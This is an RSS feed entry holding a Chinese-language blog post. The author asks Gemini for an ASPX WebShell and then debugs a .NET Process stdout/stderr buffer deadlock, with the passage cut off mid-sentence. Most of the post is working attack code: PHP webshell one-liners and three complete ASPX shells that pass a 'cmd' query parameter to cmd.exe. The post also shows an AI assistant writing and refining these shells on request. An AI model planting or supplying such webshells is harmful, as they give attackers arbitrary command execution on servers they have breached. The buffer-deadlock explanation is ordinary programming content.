<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Cyku's blog]]></title><description><![CDATA[Cyku's blog]]></description><link>https://cyku.tw/</link><image><url>https://cyku.tw/favicon.png</url><title>Cyku&apos;s blog</title><link>https://cyku.tw/</link></image><generator>Ghost 5.0</generator><lastBuildDate>Sun, 12 Apr 2026 19:30:28 GMT</lastBuildDate><atom:link href="https://cyku.tw/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[從寫個 WebShell 發現，啊！原來我不會寫 C#]]></title><description><![CDATA[<p>&#x7576;&#x4F60;&#x5728;&#x4E00;&#x500B;&#x7DB2;&#x7AD9;&#x4E0A;&#x627E;&#x5230;&#x53EF;&#x4EE5;&#x4E0A;&#x50B3;&#x4EFB;&#x610F;&#x6A94;&#x6848;&#x7684;&#x6F0F;&#x6D1E;&#x6642;&#xFF0C;&#x4E0B;&#x4E00;&#x6B65;&#x6703;&#x4E0A;&#x50B3;&#x4EC0;&#x9EBC;&#x5462;&#xFF1F;&#x60F3;&#x5FC5;&#x5927;&#x5BB6;&#x8DDF;&#x6211;&#x4E00;&#x6A23;&#xFF0C;&#x7E3D;&#x4E4B;&#x5C31;&#x60F3;&#x50B3;&#x4E00;&#x500B; WebShell&</p>]]></description><link>https://cyku.tw/xie-ge-webshell/</link><guid isPermaLink="false">690dac92d3bfbd10eb291364</guid><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Fri, 07 Nov 2025 12:34:57 GMT</pubDate><content:encoded><![CDATA[<p>&#x7576;&#x4F60;&#x5728;&#x4E00;&#x500B;&#x7DB2;&#x7AD9;&#x4E0A;&#x627E;&#x5230;&#x53EF;&#x4EE5;&#x4E0A;&#x50B3;&#x4EFB;&#x610F;&#x6A94;&#x6848;&#x7684;&#x6F0F;&#x6D1E;&#x6642;&#xFF0C;&#x4E0B;&#x4E00;&#x6B65;&#x6703;&#x4E0A;&#x50B3;&#x4EC0;&#x9EBC;&#x5462;&#xFF1F;&#x60F3;&#x5FC5;&#x5927;&#x5BB6;&#x8DDF;&#x6211;&#x4E00;&#x6A23;&#xFF0C;&#x7E3D;&#x4E4B;&#x5C31;&#x60F3;&#x50B3;&#x4E00;&#x500B; WebShell&#xFF0C;&#x4EE5; PHP &#x4F86;&#x8AAA;&#xFF0C;&#x53EF;&#x80FD;&#x6703;&#x662F; <code>&lt;?php system($_GET[cmd]);?&gt;</code> &#x6216;&#x662F; <code>&lt;?=`$_GET[cmd]`?&gt;</code>&#xFF0C;&#x4F46;&#x4E5F;&#x50C5;&#x9650;&#x76EE;&#x6A19;&#x771F;&#x7684;&#x662F; PHP &#x5BEB;&#x7684;&#xFF0C;&#x82E5;&#x76EE;&#x6A19;&#x662F; ASP.NET &#x5462;&#xFF1F;</p><p>&#x7C21;&#x55AE;&#xFF0C;&#x554F;&#x554F; Google &#x5C31;&#x884C;&#xFF01;&#x6216;&#x662F;&#x66F4;&#x73FE;&#x4EE3;&#x4E00;&#x9EDE;&#xFF0C;&#x554F;&#x554F; AI &#x5C31;&#x884C;&#x3002;</p><p>&#x65BC;&#x662F;&#x6211;&#x8ACB; Gemini &#x5E6B;&#x6211;&#x5BEB;&#x4E00;&#x500B; ASPX &#x7684; WebShell&#xFF0C;&#x800C; Gemini &#x5F88;&#x5FEB;&#x7D66;&#x4E86;&#x4E00;&#x6BB5;&#x7A0B;&#x5F0F;&#x78BC;&#xFF1A;</p><pre><code class="language-C#">&lt;%@ Page Language=&quot;C#&quot; AutoEventWireup=&quot;true&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Diagnostics&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.IO&quot; %&gt;

&lt;script runat=&quot;server&quot;&gt;
    protected void Page_Load(object sender, EventArgs e)
    {
        // &#x6AA2;&#x67E5;&#x662F;&#x5426;&#x6709; &apos;cmd&apos; &#x53C3;&#x6578;
        string command = Request[&quot;cmd&quot;];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write(&quot;&lt;pre&gt;&quot;);
            Response.Write(&quot;Executing command: &quot; + Server.HtmlEncode(command) + &quot;\n\n&quot;);
            
            try
            {
                // 1. &#x5EFA;&#x7ACB; ProcessStartInfo &#x7269;&#x4EF6;
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = &quot;cmd.exe&quot;; // Windows &#x547D;&#x4EE4;&#x89E3;&#x91CB;&#x5668;
                psi.Arguments = &quot;/c &quot; + command; // &#x4F7F;&#x7528; /c &#x57F7;&#x884C;&#x547D;&#x4EE4;&#x5F8C;&#x9000;&#x51FA;
                psi.UseShellExecute = false; // &#x4E0D;&#x4F7F;&#x7528;&#x4F5C;&#x696D;&#x7CFB;&#x7D71; Shell
                psi.RedirectStandardOutput = true; // &#x91CD;&#x5B9A;&#x5411;&#x6A19;&#x6E96;&#x8F38;&#x51FA;
                psi.RedirectStandardError = true;  // &#x91CD;&#x5B9A;&#x5411;&#x6A19;&#x6E96;&#x932F;&#x8AA4;
                psi.CreateNoWindow = true; // &#x4E0D;&#x5275;&#x5EFA;&#x8996;&#x7A97;

                // 2. &#x555F;&#x52D5;&#x7A0B;&#x5E8F;
                using (Process process = Process.Start(psi))
                {
                    // 3. &#x8B80;&#x53D6;&#x8F38;&#x51FA;
                    using (StreamReader reader = process.StandardOutput)
                    {
                        string output = reader.ReadToEnd();
                        Response.Write(Server.HtmlEncode(output));
                    }
                    using (StreamReader reader = process.StandardError)
                    {
                        string error = reader.ReadToEnd();
                        if (!string.IsNullOrEmpty(error))
                        {
                            Response.Write(&quot;\n--- ERROR ---\n&quot;);
                            Response.Write(Server.HtmlEncode(error));
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Response.Write(&quot;\n--- EXCEPTION ---\n&quot;);
                Response.Write(Server.HtmlEncode(ex.Message));
            }

            Response.Write(&quot;&lt;/pre&gt;&quot;);
        }
        else
        {
            Response.Write(&quot;&lt;h1&gt;ASPX Basic Cmd Shell&lt;/h1&gt;&quot;);
            Response.Write(&quot;Usage: ?cmd=[Your Command]&quot;);
        }
        
        Response.End();
    }
&lt;/script&gt;</code></pre><p>&#x770B;&#x8D77;&#x4F86;&#x5BEB;&#x5F97;&#x5F88;&#x5B8C;&#x7F8E;&#xFF0C;&#x5BE6;&#x6E2C;&#x4E00;&#x4E0B;&#x4E5F;&#x771F;&#x7684;&#x53EF;&#x4EE5;&#x7528;&#x4F86;&#x57F7;&#x884C;&#x6307;&#x4EE4;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-6.png" class="kg-image" alt loading="lazy" width="707" height="458" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-6.png 600w, https://cyku.tw/content/images/2025/11/image-6.png 707w"></figure><p>&#x975E;&#x5E38;&#x7C21;&#x55AE;&#x4E14;&#x5BE6;&#x7528;&#xFF0C;&#x6211;&#x4E5F;&#x5C31;&#x7FD2;&#x6163;&#x7528;&#x8457;&#x9019;&#x6A23;&#x7684; WebShell &#x7528;&#x4E86;&#x591A;&#x5E74;&#xFF0C;&#x4F46;&#x57F7;&#x884C;&#x7684;&#x6307;&#x4EE4;&#x7A2E;&#x985E;&#x591A;&#x4E86;&#xFF0C;&#x6709;&#x6642;&#x6703;&#x9047;&#x5230;&#x5C11;&#x6578;&#x67D0;&#x4E9B;&#x6975;&#x7AEF;&#x6307;&#x4EE4;&#x57F7;&#x884C;&#x6642;&#x9593;&#x904E;&#x9577;&#xFF0C;&#x6216;&#x662F; stdout &#x9072;&#x9072;&#x4E0D;&#x80AF;&#x7D50;&#x675F;&#x8B93; WebShell &#x5361;&#x4F4F;&#xFF0C;&#x5C0E;&#x81F4;&#x8D85;&#x6642;&#x88AB;&#x91CD;&#x8A2D;&#x9023;&#x7DDA;&#x3002;</p><p>&#x9047;&#x5230;&#x9019;&#x7A2E;&#x6642;&#x5019;&#x6211;&#x5C31;&#x60F3;&#x8457;&#xFF1A;&#x300C;&#x52A0;&#x4E0A; timeout &#x4E0D;&#x5C31;&#x884C;&#x4E86;&#x3002;&#x300D;</p><p>&#x65BC;&#x662F;&#x518D;&#x6B21;&#x51FA;&#x52D5; AI &#x5927;&#x795E;&#xFF0C;&#x5E6B;&#x6211;&#x52A0;&#x4E00;&#x500B; timeout &#x6A5F;&#x5236;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-11.png" class="kg-image" alt loading="lazy" width="725" height="681" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-11.png 600w, https://cyku.tw/content/images/2025/11/image-11.png 725w" sizes="(min-width: 720px) 720px"></figure><p>&#x8B93;&#x6211;&#x5011;&#x770B;&#x770B;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x4E5F;&#x5C31;&#x591A;&#x4E86;&#x4F7F;&#x7528; WaitForExit &#x53BB;&#x7B49;&#x5F85; child process &#x7D50;&#x675F;&#xFF0C;&#x8D85;&#x6642;&#x5C31; kill&#xFF0C;&#x7C21;&#x55AE;&#x660E;&#x77AD;&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x5F88;&#x5B8C;&#x7F8E;&#x3002;</p><pre><code class="language-C#">&lt;%@ Page Language=&quot;C#&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Diagnostics&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Text&quot; %&gt;
&lt;script runat=&quot;server&quot;&gt;

    // &#x8A2D;&#x5B9A;&#x903E;&#x6642;&#x6642;&#x9593; (&#x55AE;&#x4F4D;&#xFF1A;&#x6BEB;&#x79D2;) - &#x9019;&#x88E1;&#x8A2D;&#x5B9A;&#x70BA; 10 &#x79D2;
    private const int CommandTimeoutMs = 10000; 

    void Page_Load(object sender, EventArgs e)
    {
        string command = Request.QueryString[&quot;cmd&quot;];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write(&quot;&lt;pre&gt;&quot;); 
            
            try
            {
                Process p = new Process();
                p.StartInfo.FileName = &quot;cmd.exe&quot;; 
                p.StartInfo.Arguments = &quot;/C &quot; + command;
                
                // &#x8A2D;&#x5B9A; Process &#x5C6C;&#x6027;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true; 
                
                p.Start();
                
                // ====== &#x3010;&#x65B0;&#x589E;&#x7684; Timeout &#x908F;&#x8F2F;&#x3011; ======
                // &#x4F7F;&#x7528;&#x5E36;&#x6709;&#x6642;&#x9593;&#x53C3;&#x6578;&#x7684; WaitForExit() 
                bool exited = p.WaitForExit(CommandTimeoutMs); 

                if (exited)
                {
                    // &#x547D;&#x4EE4;&#x5728;&#x6642;&#x9593;&#x5167;&#x5B8C;&#x6210;
                    string output = p.StandardOutput.ReadToEnd();
                    string error = p.StandardError.ReadToEnd();
                    
                    if (!string.IsNullOrEmpty(output))
                    {
                        Response.Write(&quot;Command Output:\n&quot; + output);
                    }
                    if (!string.IsNullOrEmpty(error))
                    {
                        Response.Write(&quot;Error Output:\n&quot; + error);
                    }
                }
                else
                {
                    // &#x547D;&#x4EE4;&#x57F7;&#x884C;&#x903E;&#x6642;
                    // &#x5FC5;&#x9808;&#x7D42;&#x6B62;&#x9032;&#x7A0B;&#xFF0C;&#x5426;&#x5247;&#x5B83;&#x6703;&#x7E7C;&#x7E8C;&#x5728;&#x5F8C;&#x53F0;&#x904B;&#x884C;
                    try
                    {
                        p.Kill(); 
                        Response.Write(&quot;TIMEOUT ERROR: Command execution exceeded &quot; + CommandTimeoutMs / 1000 + &quot; seconds and was terminated.&quot;);
                    }
                    catch (Exception killEx)
                    {
                        Response.Write(&quot;TIMEOUT ERROR: Command execution exceeded time limit, but failed to kill the process. Error: &quot; + killEx.Message);
                    }
                }
                // ===================================
            }
            catch (Exception ex)
            {
                Response.Write(&quot;Execution Failed: &quot; + ex.Message);
            }
            
            Response.Write(&quot;&lt;/pre&gt;&quot;);
        }
        else
        {
            Response.Write(&quot;&lt;h1&gt;ASPX Command Shell (with 10s Timeout)&lt;/h1&gt;&quot;);
            Response.Write(&quot;Usage: ?cmd=system_command_here&quot;);
        }
    }
&lt;/script&gt;</code></pre><p>&#x76F4;&#x5230;&#x6211;&#x57F7;&#x884C;&#x4E86; <code>dir C:\windows\system32</code>&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-3.png" class="kg-image" alt loading="lazy" width="707" height="291" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-3.png 600w, https://cyku.tw/content/images/2025/11/image-3.png 707w"></figure><p>&#x54A6;&#xFF1F;&#x600E;&#x9EBC;&#x52A0;&#x500B; timeout &#x5C31;&#x4E0D;&#x52D5;&#x4E86;&#xFF1F;</p><p>&#x5C31;&#x9019;&#x9EBC;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x7684;&#x529F;&#x80FD;&#x3001;&#x7C21;&#x55AE;&#x7684;&#x554F;&#x984C;&#xFF0C;&#x8B93;&#x6211;&#x6478;&#x4E0D;&#x8457;&#x982D;&#x7DD2;&#xFF0C;&#x7531;&#x65BC;&#x5927;&#x90E8;&#x5206;&#x6642;&#x5019;&#x4E5F;&#x7528;&#x4E0D;&#x5230;&#x9019;&#x6A23;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x4E5F;&#x5C31;&#x5E7E;&#x500B;&#x6975;&#x7AEF;&#x6848;&#x4F8B;&#xFF0C;&#x5927;&#x4E0D;&#x4E86;&#x63DB;&#x500B;&#x6307;&#x4EE4;&#x7528;&#xFF0C;&#x6211;&#x5C31;&#x6C92;&#x7E7C;&#x7E8C;&#x7406;&#x6703;&#x9019;&#x500B;&#x8B0E;&#x984C;&#x3002;</p><p>&#x4F46;&#x4ECD;&#x6642;&#x4E0D;&#x6642;&#x5C31;&#x6703;&#x7591;&#x60D1;&#xFF0C;&#x5947;&#x602A;&#xFF0C;&#x6211;&#x4E5F;&#x4E0D;&#x662F;&#x7B2C;&#x4E00;&#x6B21;&#x5BEB; C#&#xFF0C;&#x800C;&#x4E14;&#x9019;&#x500B; WaitForExit &#x4E5F;&#x5F88;&#x76F4;&#x89BA;&#xFF0C;&#x57F7;&#x884C; whoami &#x4EC0;&#x9EBC;&#x7684;&#x90FD;&#x5F88;&#x6B63;&#x5E38;&#xFF0C;&#x600E;&#x9EBC;&#x5C31; dir &#x5076;&#x723E;&#x6703;&#x58DE;&#x6389;&#x5462;&#xFF1F;</p><p>&#x6211;&#x5C31;&#x4E0D;&#x4FE1;&#x771F;&#x7684;&#x662F;&#x6211;&#x4E0D;&#x6703;&#x5BEB; C#&#xFF01;</p><p>&#x76F4;&#x5230;&#x67D0;&#x4E00;&#x5929;&#x6211;&#x518D;&#x6B21;&#x78B0;&#x4E0A;&#x4E86;&#x9019;&#x500B;&#x554F;&#x984C;&#xFF0C;&#x9019;&#x6B21;&#x6211;&#x7E3D;&#x7B97;&#x6C7A;&#x5B9A;&#x653E;&#x5FC3;&#x601D;&#x53BB;&#x89E3;&#x6C7A;&#x5B83;&#x3002;</p><p>&#x800C;&#x6211;&#x6C7A;&#x5B9A;&#x4F7F;&#x7528;&#x8EAB;&#x70BA;&#x5DE5;&#x7A0B;&#x5E2B;&#x638C;&#x63E1;&#x7684;&#x6700;&#x5148;&#x9032;&#x6280;&#x8853;&#x7684;&#x79D8;&#x5BC6;&#x6B66;&#x5668;&#x3002;</p><p></p><p>Google&#x3002;</p><p></p><p>&#x6C92;&#x60F3;&#x5230;&#x4E5F;&#x6709;&#x4EBA;&#x8DDF;&#x6211;&#x4E00;&#x6A23;&#x9047;&#x5230;&#x9019;&#x500B;&#x554F;&#x984C;&#x4E5F;&#x6478;&#x4E0D;&#x8457;&#x982D;&#x7DD2;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-7.png" class="kg-image" alt loading="lazy" width="804" height="568" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-7.png 600w, https://cyku.tw/content/images/2025/11/image-7.png 804w" sizes="(min-width: 720px) 720px"></figure><p>&#x4F86;&#x6E90;: <a href="https://stackoverflow.com/questions/139593/processstartinfo-hanging-on-waitforexit-why">https://stackoverflow.com/questions/139593/processstartinfo-hanging-on-waitforexit-why</a></p><p>&#x81EA;&#x5DF1;&#x56F0;&#x64FE;&#x81EA;&#x5DF1;&#x8A31;&#x4E45;&#x7684;&#x8B0E;&#x984C;&#x7D42;&#x65BC;&#x88AB;&#x89E3;&#x958B;&#x4E86;&#xFF0C;&#x539F;&#x4F86;&#x662F;&#x56E0;&#x70BA;&#x5728; StandardOutput &#x6709;&#x555F;&#x7528;&#x91CD;&#x65B0;&#x5C0E;&#x5411;&#x7684;&#x60C5;&#x6CC1;&#x4E0B;&#xFF0C;child process &#x7684;&#x8F38;&#x51FA;&#x5C31;&#x6703;&#x88AB;&#x653E;&#x5230; StandardOutput &#x7684; buffer &#x4E4B;&#x4E2D;&#xFF0C;&#x4F46;&#x9019;&#x500B; buffer &#x6709;&#x4E0A;&#x9650;&#xFF0C;&#x6975;&#x6709;&#x53EF;&#x80FD;&#x88AB;&#x585E;&#x6EFF;&#xFF0C;&#x6B64;&#x6642;&#x6211;&#x5011;&#x7684;&#x4E3B;&#x7A0B;&#x5E8F;&#x57F7;&#x884C;&#x5230; WaitForExit &#x7B49;&#x5F85; child process &#x7684;&#x7D50;&#x675F;&#xFF0C;&#x6C92;&#x6709;&#x5E6B;&#x5FD9;&#x91CB;&#x653E; buffer &#x7684;&#x7A7A;&#x9593;&#xFF0C;child process &#x5C31;&#x6703;&#x56E0;&#x70BA;&#x7121;&#x6CD5;&#x5BEB;&#x5165; StandardOutput &#x5230; buffer &#x800C;&#x9072;&#x9072;&#x7121;&#x6CD5; exit&#xFF0C;&#x5F62;&#x6210; deadlock&#x3002;</p><p>&#x6211;&#x6253;&#x958B; Process &#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x8ABF;&#x67E5;&#xFF0C;&#x4E5F;&#x9A57;&#x8B49;&#x4E86;&#x78BA;&#x5BE6;&#x5B58;&#x5728; buffer&#xFF0C;&#x9019;&#x500B; buffer &#x751A;&#x81F3;&#x53EA;&#x6709; 4,096 &#x500B; bytes&#xFF0C;&#x602A;&#x4E0D;&#x5F97;&#x6709;&#x6642;&#x5019; dir &#x6703;&#x52D5;&#xFF0C;&#x6709;&#x6642;&#x53C8;&#x7A81;&#x7136;&#x4E0D;&#x52D5;&#x4E86;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-8.png" class="kg-image" alt loading="lazy" width="792" height="500" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-8.png 600w, https://cyku.tw/content/images/2025/11/image-8.png 792w" sizes="(min-width: 720px) 720px"></figure><p>&#x8981;&#x4FEE;&#x6B63;&#x9019;&#x500B;&#x554F;&#x984C;&#x5F88;&#x7C21;&#x55AE;&#xFF0C;&#x5C31;&#x662F;&#x6B63;&#x78BA;&#x7684;&#x4F7F;&#x7528;&#x975E;&#x540C;&#x6B65;&#x65B9;&#x5F0F;&#x53BB;&#x8B80;&#x53D6; StandardOutput&#xFF0C;&#x5728;&#x540C;&#x4E00;&#x7BC7; stackoverflow &#x6587;&#x7AE0;&#x5C31;&#x6709;&#x7D66;&#x51FA;&#x76F8;&#x61C9;&#x7684;&#x89E3;&#x6C7A;&#x5BE6;&#x4F5C;&#x3002;</p><p>&#x65E2;&#x7136;&#x6709;&#x4EBA;&#x63D0;&#x904E;&#x554F;&#x984C;&#xFF0C;&#x4E5F;&#x6709;&#x4EBA;&#x7D66;&#x51FA;&#x89E3;&#x6CD5;&#xFF0C;&#x60F3;&#x5FC5; Gemini &#x4E5F;&#x4E00;&#x5B9A;&#x66FE;&#x770B;&#x904E;&#x9019;&#x7BC7;&#x6587;&#x5427;&#xFF1F;&#x90A3;&#x5047;&#x5982;&#x6211;&#x80FD;&#x7D66;&#x5C0D;&#x6307;&#x793A;&#xFF0C;&#x61C9;&#x8A72;&#x4E5F;&#x80FD;&#x8B93;&#x5B83;&#x5E6B;&#x6211;&#x89E3;&#x6C7A;&#xFF0C;&#x4F46;&#x6211;&#x4E0D;&#x77E5;&#x9053;&#x8981;&#x4E0B;&#x4EC0;&#x9EBC;&#x6A23;&#x7684;&#x6307;&#x793A;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x5C31;&#x4E7E;&#x8106;&#x76F4;&#x63A5;&#x544A;&#x8A34;&#x5B83;&#x300C;&#x57F7;&#x884C; dir &#x6703;&#x51FA;&#x73FE; timeout&#x300D;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://cyku.tw/content/images/2025/11/image-10.png" class="kg-image" alt loading="lazy" width="725" height="837" srcset="https://cyku.tw/content/images/size/w600/2025/11/image-10.png 600w, https://cyku.tw/content/images/2025/11/image-10.png 725w" sizes="(min-width: 720px) 720px"></figure><p></p><p>&#x7136;&#x5F8C;&#x5B83;&#x5C31;&#x77E5;&#x9053;&#x539F;&#x56E0;&#x4E86;&#x3002;</p><p>&#x73FE;&#x5728;&#xFF0C;&#x6211;&#x5C31;&#x60F3;&#x77E5;&#x9053;&#x4E00;&#x4EF6;&#x4E8B;&#xFF0C;&#x73FE;&#x5728;&#x8DDF; AI &#x8AAA;&#x8B1D;&#x8B1D;&#x9084;&#x4F86;&#x5F97;&#x53CA;&#x55CE;&#xFF1F;</p><p></p><p>&#x7E3D;&#x4E4B;&#xFF0C;&#x53C3;&#x8003;&#x4E00;&#x4E0B; AI &#x7D66;&#x51FA;&#x7684;&#x7B54;&#x6848;&#xFF0C;&#x4E0D;&#x50C5;&#x8003;&#x616E;&#x4E86; StandardOutput &#x6B63;&#x78BA;&#x4F7F;&#x7528;&#x7570;&#x6B65;&#x8B80;&#x53D6;&#xFF0C;&#x9023; StandardError &#x4E5F;&#x4E00;&#x4F75;&#x6539;&#x70BA;&#x7570;&#x6B65;&#x8B80;&#x53D6;&#x4E86;&#x3002;</p><pre><code class="language-C#">&lt;%@ Page Language=&quot;C#&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Diagnostics&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Text&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Threading&quot; %&gt;
&lt;script runat=&quot;server&quot;&gt;
    // &#x8A2D;&#x5B9A;&#x903E;&#x6642;&#x6642;&#x9593; (&#x55AE;&#x4F4D;&#xFF1A;&#x6BEB;&#x79D2;) - 10 &#x79D2;
    private const int CommandTimeoutMs = 10000; 
    
    // &#x7528;&#x4F86;&#x5B89;&#x5168;&#x6536;&#x96C6;&#x8F38;&#x51FA;&#x548C;&#x932F;&#x8AA4;&#x7684;&#x5BB9;&#x5668;
    private StringBuilder outputBuilder = new StringBuilder();
    private StringBuilder errorBuilder = new StringBuilder();
    
    // &#x9396;&#x5B9A;&#x7269;&#x4EF6;&#x4EE5;&#x78BA;&#x4FDD;&#x7DDA;&#x7A0B;&#x5B89;&#x5168;
    private object lockObject = new object();

    // &#x6A19;&#x6E96;&#x8F38;&#x51FA;&#x4E8B;&#x4EF6;&#x8655;&#x7406;&#x5668;
    void OutputHandler(object sender, DataReceivedEventArgs e)
    {
        if (!string.IsNullOrEmpty(e.Data))
        {
            // &#x5728;&#x9396;&#x5B9A;&#x74B0;&#x5883;&#x4E0B;&#x5BEB;&#x5165; StringBuilder
            lock (lockObject) 
            {
                outputBuilder.AppendLine(e.Data);
            }
        }
    }

    // &#x932F;&#x8AA4;&#x8F38;&#x51FA;&#x4E8B;&#x4EF6;&#x8655;&#x7406;&#x5668;
    void ErrorHandler(object sender, DataReceivedEventArgs e)
    {
        if (!string.IsNullOrEmpty(e.Data))
        {
            lock (lockObject) 
            {
                errorBuilder.AppendLine(e.Data);
            }
        }
    }

    void Page_Load(object sender, EventArgs e)
    {
        string command = Request.QueryString[&quot;cmd&quot;];
        
        if (!string.IsNullOrEmpty(command))
        {
            Response.Write(&quot;&lt;pre&gt;&quot;); 
            
            try
            {
                Process p = new Process();
                p.StartInfo.FileName = &quot;cmd.exe&quot;; 
                p.StartInfo.Arguments = &quot;/C &quot; + command;
                
                // &#x5FC5;&#x9808;&#x8A2D;&#x5B9A; UseShellExecute=false &#x624D;&#x80FD;&#x91CD;&#x5B9A;&#x5411;&#x8F38;&#x51FA;
                p.StartInfo.UseShellExecute = false; 
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardError = true;
                p.StartInfo.CreateNoWindow = true; 
                p.EnableRaisingEvents = true; // &#x5141;&#x8A31; Process &#x4E8B;&#x4EF6;&#x88AB;&#x89F8;&#x767C;
                
                // &#x8A3B;&#x518A;&#x975E;&#x540C;&#x6B65;&#x8F38;&#x51FA;&#x4E8B;&#x4EF6;&#x8655;&#x7406;&#x5668;
                p.OutputDataReceived += new DataReceivedEventHandler(OutputHandler);
                p.ErrorDataReceived += new DataReceivedEventHandler(ErrorHandler);

                p.Start();
                
                // ====== &#x3010;&#x95DC;&#x9375;&#x6B65;&#x9A5F;&#xFF1A;&#x958B;&#x59CB;&#x975E;&#x540C;&#x6B65;&#x8B80;&#x53D6;&#x3011; ======
                p.BeginOutputReadLine();
                p.BeginErrorReadLine();
                // ===================================
                
                // &#x7B49;&#x5F85;&#x547D;&#x4EE4;&#x57F7;&#x884C;&#x5B8C;&#x6210; (&#x5E36;&#x6709; Timeout)
                bool exited = p.WaitForExit(CommandTimeoutMs); 

                // &#x505C;&#x6B62;&#x975E;&#x540C;&#x6B65;&#x8B80;&#x53D6;
                p.CancelOutputRead();
                p.CancelErrorRead();
                
                if (exited)
                {
                    // &#x5728;&#x5B89;&#x5168;&#x9396;&#x5B9A;&#x4E0B;&#x7372;&#x53D6;&#x6700;&#x7D42;&#x7D50;&#x679C;
                    string output, error;
                    lock (lockObject)
                    {
                        output = outputBuilder.ToString();
                        error = errorBuilder.ToString();
                    }

                    if (!string.IsNullOrEmpty(output))
                    {
                        Response.Write(&quot;Command Output:\n&quot; + output);
                    }
                    if (!string.IsNullOrEmpty(error))
                    {
                        Response.Write(&quot;Error Output:\n&quot; + error);
                    }
                }
                else
                {
                    // &#x547D;&#x4EE4;&#x57F7;&#x884C;&#x903E;&#x6642;
                    try
                    {
                        p.Kill(); 
                        Response.Write(&quot;TIMEOUT ERROR: Command execution exceeded &quot; + CommandTimeoutMs / 1000 + &quot; seconds and was terminated.&quot;);
                    }
                    catch (Exception killEx)
                    {
                        Response.Write(&quot;TIMEOUT ERROR: Command execution failed to kill process. Error: &quot; + killEx.Message);
                    }
                }
            }
            catch (Exception ex)
            {
                Response.Write(&quot;Execution Failed: &quot; + ex.Message);
            }
            
            Response.Write(&quot;&lt;/pre&gt;&quot;);
        }
        else
        {
            Response.Write(&quot;&lt;h1&gt;ASPX Command Shell (Async &amp; 10s Timeout)&lt;/h1&gt;&quot;);
            Response.Write(&quot;Usage: ?cmd=system_command_here&quot;);
        }
    }
&lt;/script&gt;</code></pre><p>&#x89E3;&#x958B;&#x9019;&#x500B;&#x8B0E;&#x5718;&#x7684;&#x6210;&#x56E0;&#x53C8;&#x53C3;&#x8003;&#x4E86; AI &#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x5F8C;&#xFF0C;&#x6211;&#x7D42;&#x65BC;&#x7406;&#x89E3;&#x70BA;&#x4EC0;&#x9EBC;&#x5728;&#x6700;&#x521D;&#x6C92;&#x6709; timeout &#x7248;&#x672C;&#x7684; WebShell &#x6709;&#x6642;&#x6703;&#x6709;&#x6975;&#x7AEF;&#x6307;&#x4EE4;&#x5361;&#x4F4F;&#xFF0C;&#x554F;&#x984C;&#x51FA;&#x5728; StandardOutput &#x8207; StandardError &#x8B80;&#x53D6;&#x7684;&#x9019;&#x6BB5;&#x7A0B;&#x5F0F;&#x78BC;&#x4E0A;&#x3002;</p><pre><code class="language-C#">using (StreamReader reader = process.StandardOutput)
{
    string output = reader.ReadToEnd();
    Response.Write(Server.HtmlEncode(output));
}
using (StreamReader reader = process.StandardError)
{
    string error = reader.ReadToEnd();
    if (!string.IsNullOrEmpty(error))
    {
        Response.Write(&quot;\n--- ERROR ---\n&quot;);
        Response.Write(Server.HtmlEncode(error));
    }
}</code></pre><p>&#x4E0D;&#x8AD6;&#x662F; StandardOutput &#x9084;&#x662F; StandardError &#x540C;&#x6A23;&#x90FD;&#x6709; 4,096 bytes &#x7684; buffer &#x9650;&#x5236;&#xFF0C;&#x5982;&#x679C; StandardError &#x5148;&#x585E;&#x6EFF;&#x4E86;&#xFF0C;child process &#x5C31;&#x6703;&#x5148;&#x5361;&#x4F4F;&#xFF0C;&#x53EF;&#x662F;&#x6211;&#x5011;&#x7684;&#x4E3B;&#x7A0B;&#x5E8F;&#x9084;&#x5728;&#x7B49;&#x5B83;&#x8F38;&#x51FA;&#x5B8C; StandardOutput &#x800C;&#x4E0D;&#x6703;&#x53BB;&#x8B80; StandardError&#xFF0C;&#x540C;&#x6A23;&#x9020;&#x6210;&#x4E86; deadlock&#x3002;&#x8981;&#x5728;&#x6700;&#x521D;&#x7248;&#x672C;&#x7684; WebShell &#x4E2D;&#x8907;&#x73FE;&#x9019;&#x500B;&#x554F;&#x984C;&#x4E5F;&#x5F88;&#x7C21;&#x55AE;&#xFF0C;&#x53EA;&#x8981;&#x5728;&#x6307;&#x4EE4;&#x4E0A;&#x628A; stdout &#x91CD;&#x5C0E;&#x5411;&#x5230; 